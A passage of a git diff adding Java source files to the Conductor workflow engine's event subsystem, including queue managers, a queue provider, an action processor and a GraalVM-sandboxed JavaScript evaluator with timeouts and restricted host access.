+ * + * @see DefaultEventQueueProcessor + */ +@Component +@ConditionalOnProperty( + name = "conductor.default-event-processor.enabled", + havingValue = "true", + matchIfMissing = true) +public class DefaultEventQueueManager extends LifecycleAwareComponent implements EventQueueManager { + + private static final Logger LOGGER = LoggerFactory.getLogger(DefaultEventQueueManager.class); + + private final EventHandlerDAO eventHandlerDAO; + private final EventQueues eventQueues; + private final DefaultEventProcessor defaultEventProcessor; + private final Map eventToQueueMap = new ConcurrentHashMap<>(); + private final Map defaultQueues; + + public DefaultEventQueueManager( + Map defaultQueues, + EventHandlerDAO eventHandlerDAO, + EventQueues eventQueues, + DefaultEventProcessor defaultEventProcessor) { + this.defaultQueues = defaultQueues; + this.eventHandlerDAO = eventHandlerDAO; + this.eventQueues = eventQueues; + this.defaultEventProcessor = defaultEventProcessor; + } + + /** + * @return Returns a map of queues which are active. Key is event name and value is queue URI + */ + @Override + public Map getQueues() { + Map queues = new HashMap<>(); + eventToQueueMap.forEach((key, value) -> queues.put(key, value.getName())); + return queues; + } + + @Override + public Map> getQueueSizes() { + Map> queues = new HashMap<>(); + eventToQueueMap.forEach( + (key, value) -> { + Map size = new HashMap<>(); + size.put(value.getName(), value.size()); + queues.put(key, size); + }); + return queues; + } + + @Override + public void doStart() { + eventToQueueMap.forEach( + (event, queue) -> { + LOGGER.info("Start listening for events: {}", event); + queue.start(); + }); + defaultQueues.forEach( + (status, queue) -> { + LOGGER.info( + "Start listening on default queue {} for status {}", + queue.getName(), + status); + queue.start(); + }); + } + + @Override + public void doStop() { + eventToQueueMap.forEach( + (event, queue) -> { + LOGGER.info("Stop listening for events: {}", event); + queue.stop(); + }); + defaultQueues.forEach( + (status, queue) -> { + LOGGER.info( + "Stop listening on default queue {} for status {}", + status, + queue.getName()); + queue.stop(); + }); + } + + @Scheduled(fixedDelay = 60_000) + public void refreshEventQueues() { + try { + Set events = + eventHandlerDAO.getAllEventHandlers().stream() + .filter(EventHandler::isActive) + .map(EventHandler::getEvent) + .collect(Collectors.toSet()); + + List createdQueues = new LinkedList<>(); + events.forEach( + event -> + eventToQueueMap.computeIfAbsent( + event, + s -> { + ObservableQueue q = eventQueues.getQueue(event); + createdQueues.add(q); + return q; + })); + + // start listening on all of the created queues + createdQueues.stream() + .filter(Objects::nonNull) + .peek(Lifecycle::start) + .forEach(this::listen); + + Set removed = new HashSet<>(eventToQueueMap.keySet()); + removed.removeAll(events); + removed.forEach( + key -> { + ObservableQueue queue = eventToQueueMap.remove(key); + try { + queue.stop(); + } catch (Exception e) { + LOGGER.error("Failed to stop queue: " + queue, e); + } + }); + + Map> eventToQueueSize = getQueueSizes(); + eventToQueueSize.forEach( + (event, queueMap) -> { + Map.Entry queueSize = queueMap.entrySet().iterator().next(); + Monitors.recordEventQueueDepth(queueSize.getKey(), queueSize.getValue()); + }); + + LOGGER.debug("Event queues: {}", eventToQueueMap.keySet()); + LOGGER.debug("Stored queue: {}", events); + LOGGER.debug("Removed queue: {}", removed); + + } catch (Exception e) { + Monitors.error(getClass().getSimpleName(), "refresh"); + LOGGER.error("refresh event queues failed", e); + } + } + + private void listen(ObservableQueue queue) { + queue.observe().subscribe((Message msg) -> defaultEventProcessor.handle(queue, msg)); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/EventQueueManager.java b/core/src/main/java/com/netflix/conductor/core/events/EventQueueManager.java new file mode 100644 index 0000000..7580af7 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/EventQueueManager.java @@ -0,0 +1,22 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.Map; + +public interface EventQueueManager { + + Map getQueues(); + + Map> getQueueSizes(); +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/EventQueueProvider.java b/core/src/main/java/com/netflix/conductor/core/events/EventQueueProvider.java new file mode 100644 index 0000000..22e3cec --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/EventQueueProvider.java @@ -0,0 +1,33 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import org.springframework.lang.NonNull; + +import com.netflix.conductor.core.events.queue.ObservableQueue; + +public interface EventQueueProvider { + + String getQueueType(); + + /** + * Creates or reads the {@link ObservableQueue} for the given queueURI. + * + * @param queueURI The URI of the queue. + * @return The {@link ObservableQueue} implementation for the queueURI. + * @throws IllegalArgumentException thrown when an {@link ObservableQueue} can not be created + * for the queueURI. + */ + @NonNull + ObservableQueue getQueue(String queueURI) throws IllegalArgumentException; +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/EventQueues.java b/core/src/main/java/com/netflix/conductor/core/events/EventQueues.java new file mode 100644 index 0000000..139aad0 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/EventQueues.java @@ -0,0 +1,69 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.lang.NonNull; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.core.utils.ParametersUtils; + +/** Holders for internal event queues */ +@Component +public class EventQueues { + + public static final String EVENT_QUEUE_PROVIDERS_QUALIFIER = "EventQueueProviders"; + + private static final Logger LOGGER = LoggerFactory.getLogger(EventQueues.class); + + private final ParametersUtils parametersUtils; + private final Map providers; + + public EventQueues( + @Qualifier(EVENT_QUEUE_PROVIDERS_QUALIFIER) Map providers, + ParametersUtils parametersUtils) { + this.providers = providers; + this.parametersUtils = parametersUtils; + } + + public List getProviders() { + return providers.values().stream() + .map(p -> p.getClass().getName()) + .collect(Collectors.toList()); + } + + @NonNull + public ObservableQueue getQueue(String eventType) { + String event = parametersUtils.replace(eventType).toString(); + int index = event.indexOf(':'); + if (index == -1) { + throw new IllegalArgumentException("Illegal event " + event); + } + + String type = event.substring(0, index); + String queueURI = event.substring(index + 1); + EventQueueProvider provider = providers.get(type); + if (provider != null) { + return provider.getQueue(queueURI); + } else { + throw new IllegalArgumentException("Unknown queue type " + type); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java new file mode 100644 index 0000000..5bc9fcd --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java @@ -0,0 +1,459 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.time.Duration; +import java.util.*; +import java.util.concurrent.*; + +import org.graalvm.polyglot.*; +import org.graalvm.polyglot.io.IOAccess; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.evaluators.ConsoleBridge; + +public class ScriptEvaluator { + + private static final Logger LOGGER = LoggerFactory.getLogger(ScriptEvaluator.class); + + private static final int DEFAULT_MAX_EXECUTION_SECONDS = 4; + private static final int DEFAULT_CONTEXT_POOL_SIZE = 10; + // Pool reuse changes JS semantics: a Context's global scope persists across calls, so a + // user script with top-level `const x = ...` or `let x = ...` throws SyntaxError on the + // second call (identifier already declared). Default off; users who fully control their + // scripts can opt in via CONDUCTOR_SCRIPT_CONTEXT_POOL_ENABLED=true. The shared Engine and + // Source cache below still apply when the pool is disabled, so Context creation is much + // cheaper than before. + private static final boolean DEFAULT_CONTEXT_POOL_ENABLED = false; + private static final int DEFAULT_SOURCE_CACHE_SIZE = 1024; + + private static Duration maxExecutionTimeSeconds; + private static ExecutorService executorService; + private static BlockingQueue contextPool; + private static boolean contextPoolEnabled; + private static boolean initialized = false; + private static int sourceCacheMaxSize = DEFAULT_SOURCE_CACHE_SIZE; + + /** + * Shared GraalVM Engine reused across all Contexts so the Truffle compilation cache (and JIT + * code, when a compiling Truffle runtime is on the classpath) is shared instead of duplicated + * per Context. + */ + private static final Engine ENGINE = buildEngine(); + + private static Engine buildEngine() { + // allowExperimentalOptions is required because js.load / js.print / + // js.console are flagged experimental in current Graal even though + // they are the documented switches for disabling those features. + // The "experimental" tag means the option name/semantics may change + // between Graal versions — not that the option is unsafe. + Engine engine = + Engine.newBuilder("js") + .allowExperimentalOptions(true) + .option("engine.WarnInterpreterOnly", "false") + .option("js.load", "false") + .option("js.print", "false") + .option("js.console", "false") + .build(); + // Log once so operators can confirm whether the optimizing runtime is engaged. + // "GraalVM" => JIT-compiling Truffle runtime; "Default" => interpreter-only fallback. + LOGGER.info( + "GraalVM polyglot engine: implementation={}, version={}", + engine.getImplementationName(), + engine.getVersion()); + return engine; + } + + /** + * Cache of compiled JS Sources keyed by raw script text. Pairing a stable Source instance with + * the shared {@link #ENGINE} lets GraalJS reuse parsed/compiled code across invocations of the + * same expression. + */ + private static final ConcurrentMap SOURCE_CACHE = new ConcurrentHashMap<>(); + + private ScriptEvaluator() {} + + /** + * Initialize the script evaluator with configuration. This should be called once at startup. + * + * @param maxSeconds Maximum execution time in seconds (default: 4) + * @param contextPoolSize Size of the context pool (default: 10) + * @param poolEnabled Whether to enable context pooling (default: false) + * @param executor ExecutorService for script execution + */ + public static synchronized void initialize( + int maxSeconds, int contextPoolSize, boolean poolEnabled, ExecutorService executor) { + if (initialized) { + LOGGER.warn("ScriptEvaluator already initialized, skipping re-initialization"); + return; + } + + maxExecutionTimeSeconds = Duration.ofSeconds(maxSeconds); + executorService = executor != null ? executor : Executors.newCachedThreadPool(); + contextPoolEnabled = poolEnabled; + + if (!contextPoolEnabled) { + LOGGER.warn( + "Script execution context pool is disabled. Each script execution will create a new context."); + contextPool = null; + } else { + contextPool = new LinkedBlockingQueue<>(contextPoolSize); + // Pre-fill the pool + for (int i = 0; i < contextPoolSize; i++) { + Context context = createNewContext(); + contextPool.offer(new ScriptExecutionContext(context)); + } + LOGGER.info( + "Script execution context pool initialized with {} contexts", contextPoolSize); + } + + initialized = true; + } + + /** Initialize with default values from environment variables or defaults. */ + public static synchronized void initializeWithDefaults() { + if (initialized) { + return; + } + + int maxSeconds = + Integer.parseInt( + getEnv( + "CONDUCTOR_SCRIPT_MAX_EXECUTION_SECONDS", + String.valueOf(DEFAULT_MAX_EXECUTION_SECONDS))); + int poolSize = + Integer.parseInt( + getEnv( + "CONDUCTOR_SCRIPT_CONTEXT_POOL_SIZE", + String.valueOf(DEFAULT_CONTEXT_POOL_SIZE))); + boolean poolEnabled = + Boolean.parseBoolean( + getEnv( + "CONDUCTOR_SCRIPT_CONTEXT_POOL_ENABLED", + String.valueOf(DEFAULT_CONTEXT_POOL_ENABLED))); + sourceCacheMaxSize = + Integer.parseInt( + getEnv( + "CONDUCTOR_SCRIPT_SOURCE_CACHE_SIZE", + String.valueOf(DEFAULT_SOURCE_CACHE_SIZE))); + + initialize(maxSeconds, poolSize, poolEnabled, null); + } + + private static String getEnv(String name, String defaultValue) { + String value = System.getenv(name); + return value != null ? value : defaultValue; + } + + private static void ensureInitialized() { + if (!initialized) { + initializeWithDefaults(); + } + } + + private static Context createNewContext() { + HostAccess hostAccess = + HostAccess.newBuilder(HostAccess.ALL) + .denyAccess(Class.class) + .denyAccess(ClassLoader.class) + .denyAccess(java.lang.reflect.Method.class) + .denyAccess(java.lang.reflect.Field.class) + .denyAccess(java.lang.reflect.Constructor.class) + .denyAccess(java.lang.reflect.Array.class) + .denyAccess(Runtime.class) + .denyAccess(ProcessBuilder.class) + .denyAccess(Process.class) + .denyAccess(System.class) + .denyAccess(Thread.class) + .denyAccess(ThreadGroup.class) + .build(); + return Context.newBuilder("js") + .engine(ENGINE) + .allowHostAccess(hostAccess) + .allowHostClassLoading(false) + .allowNativeAccess(false) + .allowCreateThread(false) + .allowCreateProcess(false) + .allowIO(IOAccess.NONE) + .allowEnvironmentAccess(EnvironmentAccess.NONE) + .build(); + } + + /** + * Returns a defensive deep copy of {@code input} so script-side mutations (e.g. {@code $.data.x + * = 1}) cannot leak back into the caller's data structures and so {@code PolyglotMap} /{@code + * PolyglotList} references created during evaluation cannot escape a closed Context. Recurses + * through Maps, Lists, Sets, and arrays; immutable scalars (String, Number, Boolean, etc.) are + * shared by reference. Cheaper than a JSON round-trip. + */ + public static Object deepCopy(Object input) { + if (input == null) { + return null; + } + if (input instanceof Map m) { + Map copy = new LinkedHashMap<>(m.size()); + for (Map.Entry e : m.entrySet()) { + copy.put(e.getKey(), deepCopy(e.getValue())); + } + return copy; + } + if (input instanceof List l) { + List copy = new ArrayList<>(l.size()); + for (Object item : l) { + copy.add(deepCopy(item)); + } + return copy; + } + if (input instanceof Set s) { + Set copy = new LinkedHashSet<>(s.size()); + for (Object item : s) { + copy.add(deepCopy(item)); + } + return copy; + } + Class cls = input.getClass(); + if (cls.isArray()) { + int len = java.lang.reflect.Array.getLength(input); + List copy = new ArrayList<>(len); + for (int i = 0; i < len; i++) { + copy.add(deepCopy(java.lang.reflect.Array.get(input, i))); + } + return copy; + } + // Immutable scalars (String, Number, Boolean, enums, etc.) — safe to share. + return input; + } + + /** + * Returns a cached compiled {@link Source} for the given script, creating it on first use. + * Bounded by {@link #sourceCacheMaxSize}; on overflow the cache is cleared (workflow scripts + * are typically a small, stable set, so the simplest strategy suffices). + */ + private static Source getSource(String script) { + Source cached = SOURCE_CACHE.get(script); + if (cached != null) { + return cached; + } + if (SOURCE_CACHE.size() >= sourceCacheMaxSize) { + SOURCE_CACHE.clear(); + } + Source source = Source.newBuilder("js", script, "inline").cached(true).buildLiteral(); + Source existing = SOURCE_CACHE.putIfAbsent(script, source); + return existing != null ? existing : source; + } + + /** + * Evaluates the script with the help of input provided but converts the result to a boolean + * value. + * + * @param script Script to be evaluated. + * @param input Input parameters. + * @return True or False based on the result of the evaluated expression. + */ + public static Boolean evalBool(String script, Object input) { + return toBoolean(eval(script, input)); + } + + /** + * Evaluates the script with the help of input provided. + * + * @param script Script to be evaluated. + * @param input Input parameters. + * @return Generic object, the result of the evaluated expression. + */ + public static Object eval(String script, Object input) { + return eval(script, input, null); + } + + /** + * Evaluates the script with the help of input provided. + * + * @param script Script to be evaluated. + * @param input Input parameters. + * @param console ConsoleBridge that can be used to get the calls to console.log() and others. + * @return Generic object, the result of the evaluated expression. + */ + public static Object eval(String script, Object input, ConsoleBridge console) { + ensureInitialized(); + + final Source source = getSource(script); + + if (contextPoolEnabled) { + // Context pool implementation + ScriptExecutionContext scriptContext = null; + try { + scriptContext = contextPool.take(); + final ScriptExecutionContext finalScriptContext = scriptContext; + finalScriptContext.prepareBindings(input, console); + Future futureResult = + executorService.submit(() -> finalScriptContext.getContext().eval(source)); + Value value = + futureResult.get(maxExecutionTimeSeconds.getSeconds(), TimeUnit.SECONDS); + return getObject(value); + } catch (TimeoutException e) { + if (scriptContext != null) { + interrupt(scriptContext.getContext()); + } + throw new NonTransientException( + String.format( + "Script not evaluated within %d seconds, interrupted.", + maxExecutionTimeSeconds.getSeconds())); + } catch (ExecutionException ee) { + handlePolyglotException(ee); + return null; + } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); + throw new NonTransientException("Script execution interrupted: " + ie.getMessage()); + } finally { + if (scriptContext != null) { + scriptContext.clearBindings(); + if (!contextPool.offer(scriptContext)) { + scriptContext.getContext().close(); + LOGGER.warn( + "ScriptExecutionContext pool is full, context closed and not returned to pool."); + } + } + } + } else { + // No context pool - create new context for each execution + try (Context context = createNewContext()) { + final Value jsBindings = context.getBindings("js"); + jsBindings.putMember("$", input); + if (console != null) { + jsBindings.putMember("console", console); + } + final Future futureResult = + executorService.submit(() -> context.eval(source)); + Value value = + futureResult.get(maxExecutionTimeSeconds.getSeconds(), TimeUnit.SECONDS); + return getObject(value); + } catch (TimeoutException e) { + throw new NonTransientException( + String.format( + "Script not evaluated within %d seconds, interrupted.", + maxExecutionTimeSeconds.getSeconds())); + } catch (ExecutionException ee) { + handlePolyglotException(ee); + return null; + } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); + throw new NonTransientException("Script execution interrupted: " + ie.getMessage()); + } + } + } + + private static void handlePolyglotException(ExecutionException ee) { + if (ee.getCause() instanceof PolyglotException pe) { + SourceSection sourceSection = pe.getSourceLocation(); + if (sourceSection == null) { + throw new TerminateWorkflowException( + "Error evaluating the script `" + pe.getMessage() + "`"); + } else { + throw new TerminateWorkflowException( + "Error evaluating the script `" + + pe.getMessage() + + "` at line " + + sourceSection.getStartLine()); + } + } + throw new TerminateWorkflowException("Error evaluating the script " + ee.getMessage()); + } + + private static Object getObject(Value value) { + if (value.isNull()) return null; + if (value.isBoolean()) return value.asBoolean(); + if (value.isString()) return value.asString(); + if (value.isNumber()) { + if (value.fitsInInt()) return value.asInt(); + if (value.fitsInLong()) return value.asLong(); + if (value.fitsInDouble()) return value.asDouble(); + } + if (value.hasArrayElements()) { + List items = new ArrayList<>(); + for (int i = 0; i < value.getArraySize(); i++) { + items.add(getObject(value.getArrayElement(i))); + } + return items; + } + + // Convert map + Map output = new HashMap<>(); + if (value.hasHashEntries()) { + Value keys = value.getHashKeysIterator(); + while (keys.hasIteratorNextElement()) { + Value key = keys.getIteratorNextElement(); + output.put(getObject(key), getObject(value.getHashValue(key))); + } + } else { + for (String key : value.getMemberKeys()) { + output.put(key, getObject(value.getMember(key))); + } + } + return output; + } + + private static void interrupt(Context context) { + try { + context.interrupt(Duration.ZERO); + } catch (TimeoutException ignored) { + // Expected when interrupting + } + } + + /** + * Converts a generic object into boolean value. Checks if the Object is of type Boolean and + * returns the value of the Boolean object. Checks if the Object is of type Number and returns + * True if the value is greater than 0. + * + * @param input Generic object that will be inspected to return a boolean value. + * @return True or False based on the input provided. + */ + public static Boolean toBoolean(Object input) { + if (input instanceof Boolean) { + return ((Boolean) input); + } else if (input instanceof Number) { + return ((Number) input).doubleValue() > 0; + } + return false; + } + + /** Script execution context holder for context pooling. */ + private static class ScriptExecutionContext { + private final Context context; + private final Value bindings; + + public ScriptExecutionContext(Context context) { + this.context = context; + this.bindings = context.getBindings("js"); + } + + public Context getContext() { + return context; + } + + public void prepareBindings(Object input, Object console) { + bindings.putMember("$", input); + if (console != null) { + bindings.putMember("console", console); + } + } + + public void clearBindings() { + bindings.removeMember("$"); + bindings.removeMember("console"); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/SimpleActionProcessor.java b/core/src/main/java/com/netflix/conductor/core/events/SimpleActionProcessor.java new file mode 100644 index 0000000..c13dd8e --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/SimpleActionProcessor.java @@ -0,0 +1,263 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.*; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import com.netflix.conductor.common.metadata.events.EventHandler.Action; +import com.netflix.conductor.common.metadata.events.EventHandler.StartWorkflow; +import com.netflix.conductor.common.metadata.events.EventHandler.TaskDetails; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.utils.JsonUtils; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * Action Processor subscribes to the Event Actions queue and processes the actions (e.g. start + * workflow etc) + */ +@Component +public class SimpleActionProcessor implements ActionProcessor { + + private static final Logger LOGGER = LoggerFactory.getLogger(SimpleActionProcessor.class); + + private final WorkflowExecutor workflowExecutor; + private final ParametersUtils parametersUtils; + private final JsonUtils jsonUtils; + + public SimpleActionProcessor( + WorkflowExecutor workflowExecutor, + ParametersUtils parametersUtils, + JsonUtils jsonUtils) { + this.workflowExecutor = workflowExecutor; + this.parametersUtils = parametersUtils; + this.jsonUtils = jsonUtils; + } + + public Map execute( + Action action, Object payloadObject, String event, String messageId) { + + LOGGER.debug( + "Executing action: {} for event: {} with messageId:{}", + action.getAction(), + event, + messageId); + + Object jsonObject = payloadObject; + if (action.isExpandInlineJSON()) { + jsonObject = jsonUtils.expand(payloadObject); + } + + switch (action.getAction()) { + case start_workflow: + return startWorkflow(action, jsonObject, event, messageId); + case complete_task: + return completeTask( + action, + jsonObject, + action.getComplete_task(), + TaskModel.Status.COMPLETED, + event, + messageId); + case fail_task: + return completeTask( + action, + jsonObject, + action.getFail_task(), + TaskModel.Status.FAILED, + event, + messageId); + default: + break; + } + throw new UnsupportedOperationException( + "Action not supported " + action.getAction() + " for event " + event); + } + + private Map completeTask( + Action action, + Object payload, + TaskDetails taskDetails, + TaskModel.Status status, + String event, + String messageId) { + + Map input = new HashMap<>(); + input.put("workflowId", taskDetails.getWorkflowId()); + input.put("taskId", taskDetails.getTaskId()); + input.put("taskRefName", taskDetails.getTaskRefName()); + input.put("reasonForIncompletion", taskDetails.getReasonForIncompletion()); + input.putAll(taskDetails.getOutput()); + + Map replaced = parametersUtils.replace(input, payload); + String workflowId = (String) replaced.get("workflowId"); + String taskId = (String) replaced.get("taskId"); + String taskRefName = (String) replaced.get("taskRefName"); + String reasonForIncompletion = + Optional.ofNullable(replaced.get("reasonForIncompletion")) + .map(Object::toString) + .orElse(null); + + TaskModel taskModel = null; + if (StringUtils.isNotEmpty(taskId)) { + taskModel = workflowExecutor.getTask(taskId); + } else if (StringUtils.isNotEmpty(workflowId) && StringUtils.isNotEmpty(taskRefName)) { + WorkflowModel workflow = workflowExecutor.getWorkflow(workflowId, true); + if (workflow == null) { + replaced.put("error", "No workflow found with ID: " + workflowId); + return replaced; + } + taskModel = workflow.getTaskByRefName(taskRefName); + // Task can be loopover task.In such case find corresponding task and update + List loopOverTaskList = + workflow.getTasks().stream() + .filter( + t -> + TaskUtils.removeIterationFromTaskRefName( + t.getReferenceTaskName()) + .equals(taskRefName)) + .collect(Collectors.toList()); + if (!loopOverTaskList.isEmpty()) { + // Find loopover task with the highest iteration value + taskModel = + loopOverTaskList.stream() + .sorted(Comparator.comparingInt(TaskModel::getIteration).reversed()) + .findFirst() + .get(); + } + } + + if (taskModel == null) { + replaced.put( + "error", + "No task found with taskId: " + + taskId + + ", reference name: " + + taskRefName + + ", workflowId: " + + workflowId); + return replaced; + } + + taskModel.setStatus(status); + taskModel.setOutputData(replaced); + taskModel.setOutputMessage(taskDetails.getOutputMessage()); + if (!status.isSuccessful()) { + taskModel.setReasonForIncompletion(reasonForIncompletion); + } + taskModel.addOutput("conductor.event.messageId", messageId); + taskModel.addOutput("conductor.event.name", event); + + try { + workflowExecutor.updateTask(new TaskResult(taskModel.toTask())); + LOGGER.debug( + "Updated task: {} in workflow:{} with status: {} for event: {} for message:{}", + taskId, + workflowId, + status, + event, + messageId); + } catch (RuntimeException e) { + Monitors.recordEventActionError( + action.getAction().name(), taskModel.getTaskType(), event); + LOGGER.error( + "Error updating task: {} in workflow: {} in action: {} for event: {} for message: {}", + taskDetails.getTaskRefName(), + taskDetails.getWorkflowId(), + action.getAction(), + event, + messageId, + e); + replaced.put("error", e.getMessage()); + throw e; + } + return replaced; + } + + private Map startWorkflow( + Action action, Object payload, String event, String messageId) { + StartWorkflow params = action.getStart_workflow(); + Map output = new HashMap<>(); + try { + Map inputParams = params.getInput(); + Map workflowInput = parametersUtils.replace(inputParams, payload); + + Map paramsMap = new HashMap<>(); + // extracting taskToDomain map from the event payload + paramsMap.put("taskToDomain", "${taskToDomain}"); + Optional.ofNullable(params.getCorrelationId()) + .ifPresent(value -> paramsMap.put("correlationId", value)); + Map replaced = parametersUtils.replace(paramsMap, payload); + + // if taskToDomain is absent from event handler definition, and taskDomain Map is passed + // as a part of payload + // then assign payload taskToDomain map to the new workflow instance + final Map taskToDomain = + params.getTaskToDomain() != null + ? params.getTaskToDomain() + : (Map) replaced.get("taskToDomain"); + + workflowInput.put("conductor.event.messageId", messageId); + workflowInput.put("conductor.event.name", event); + + StartWorkflowInput startWorkflowInput = new StartWorkflowInput(); + startWorkflowInput.setName(params.getName()); + startWorkflowInput.setVersion(params.getVersion()); + startWorkflowInput.setCorrelationId( + Optional.ofNullable(replaced.get("correlationId")) + .map(Object::toString) + .orElse(params.getCorrelationId())); + startWorkflowInput.setWorkflowInput(workflowInput); + startWorkflowInput.setEvent(event); + if (!CollectionUtils.isEmpty(taskToDomain)) { + startWorkflowInput.setTaskToDomain(taskToDomain); + } + + String workflowId = workflowExecutor.startWorkflow(startWorkflowInput); + + output.put("workflowId", workflowId); + LOGGER.debug( + "Started workflow: {}/{}/{} for event: {} for message:{}", + params.getName(), + params.getVersion(), + workflowId, + event, + messageId); + + } catch (RuntimeException e) { + Monitors.recordEventActionError(action.getAction().name(), params.getName(), event); + LOGGER.error( + "Error starting workflow: {}, version: {}, for event: {} for message: {}", + params.getName(), + params.getVersion(), + event, + messageId, + e); + output.put("error", e.getMessage()); + throw e; + } + return output; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/queue/ConductorEventQueueProvider.java b/core/src/main/java/com/netflix/conductor/core/events/queue/ConductorEventQueueProvider.java new file mode 100644 index 0000000..478a8d7 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/queue/ConductorEventQueueProvider.java @@ -0,0 +1,70 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events.queue; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.lang.NonNull; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.dao.QueueDAO; + +import rx.Scheduler; + +/** + * Default provider for {@link com.netflix.conductor.core.events.queue.ObservableQueue} that listens + * on the conductor queue prefix. + * + *

Set conductor.event-queues.default.enabled=false to disable the default queue. + * + * @see ConductorObservableQueue + */ +@Component +@ConditionalOnProperty( + name = "conductor.event-queues.default.enabled", + havingValue = "true", + matchIfMissing = true) +public class ConductorEventQueueProvider implements EventQueueProvider { + + private static final Logger LOGGER = LoggerFactory.getLogger(ConductorEventQueueProvider.class); + private final Map queues = new ConcurrentHashMap<>(); + private final QueueDAO queueDAO; + private final ConductorProperties properties; + private final Scheduler scheduler; + + public ConductorEventQueueProvider( + QueueDAO queueDAO, ConductorProperties properties, Scheduler scheduler) { + this.queueDAO = queueDAO; + this.properties = properties; + this.scheduler = scheduler; + } + + @Override + public String getQueueType() { + return "conductor"; + } + + @Override + @NonNull + public ObservableQueue getQueue(String queueURI) { + return queues.computeIfAbsent( + queueURI, + q -> new ConductorObservableQueue(queueURI, queueDAO, properties, scheduler)); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/queue/ConductorObservableQueue.java b/core/src/main/java/com/netflix/conductor/core/events/queue/ConductorObservableQueue.java new file mode 100644 index 0000000..e468942 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/queue/ConductorObservableQueue.java @@ -0,0 +1,152 @@ +/* + * Copyright 2022 Conductor Authors. + *

